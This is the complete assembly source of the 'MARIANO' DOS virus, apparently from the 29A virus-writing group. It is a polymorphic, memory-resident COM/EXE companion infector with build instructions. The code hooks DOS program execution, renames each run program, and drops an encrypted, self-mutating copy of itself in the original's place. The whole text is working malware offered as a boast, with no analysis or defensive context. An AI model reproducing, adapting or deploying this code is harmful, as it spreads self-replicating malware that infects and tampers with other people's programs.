;==============================;
        ;        MARIANO virus         ;
        ;==============================;
        ;      Made by Super/29A       ;
        ;==============================;

  ; This is a polymorphic resident COM & EXE companion
  ; Mariano's length = 147 bytes !!!
  ; wow!
  ;
  ; This virus is dedicated to Mariano Mariano
  ;
  ; Greetings to: 29A and all virii writers.
  ;
  ; Compile with:
  ;       TASM /m29A mariano.asm
  ;       TLINK /t mariano.obj


  ;--------------------------------------------------------------------------
      .model tiny  ;yep! very very tiny!!!
      .code
      .386  ;so as to fuck 8086 users   X=D
      org 100h

  vir_start:
  ;===================================================================
      call entry_point

  hook:
      pusha ; save regs

      mov si,dx ; ds:si = ds:dx
      lea dx,[bx+40h] ; ds:dx = ds:bx+40 = command.com stack
      mov di,dx ; es:di = ds:bx+40
      push si
  copy_filename:
      cmp byte ptr [si],'.' ;
      movsb                 ; store filename
      jnz copy_filename     ;
      mov dword ptr [di],004d4f43h ; add extension COM
      mov dword ptr [si],00455845h ; add extension EXE
      pop di
      mov ah,56h ; rename to EXE
      int 21h    ;
      mov ah,3ch   ; create virus  :=)
      mov cl,1     ; (read-only attribute)
      int 21h      ;
      xchg bx,ax   ;


  ;------------> here starts poly engine <------------;
                                                      ;
      call get_delta                                  ;
  get_delta:                                          ;
      pop si                                          ;
      sub si,(offset get_delta-offset vir_start)      ;
      mov di,dx                                       ;
      mov bp,10bh                                     ;
      call garbage                                    ;
      and cl,ah                                       ;
      mov al,0beh                                     ;
      xor al,cl                                       ;
      stosb                                           ;
      in ax,40h                                       ;
      stosw                                           ;
      sub bp,ax                                       ;
      call garbage                                    ;
      mov ax,0b480h                                   ;
      xor ah,cl                                       ;
      stosw                                           ;
      xchg bp,ax                                      ;
      stosw                                           ;
      mov eax,0f8794600h                              ;
      or ah,cl                                        ;
      in al,40h                                       ;
      stosd                                           ;
      mov cx,vir_length                               ;
  decrypt:                                            ;
      movs byte ptr es:[di],cs:[si]                   ;
      xor byte ptr [di-1],al                          ;
      loop decrypt                                    ;
                                                      ;
  ;-------------> here ends poly engine <-------------;


      sub di,dx       ;
      mov cx,di       ;
      mov ah,40h      ; write virus  :)
      int 21h         ;

      mov ah,3eh ;
      int 21h    ; close file

      popa ; load regs
      int 21h ; execute host
      iret ; return control to command.com

  garbage proc
      inc bp
      inc bp
      in ax,40h
      and al,111b
      or al,0b0h
      stosw
      jp garbage
      ret
  garbage endp


  entry_point:
      mov ax,2503h        ;
      pop dx              ; set int3 interrupt vector
      int 21h             ;
      les di,[di+2+0ah] ; points after a "ah=4b/int21"
      dec di ;
      stosb  ; transform "int21" into "int03"
      inc dh  ;
      int 27h ; stay resident

  ;===================================================================
  vir_length equ $-offset vir_start
  end vir_start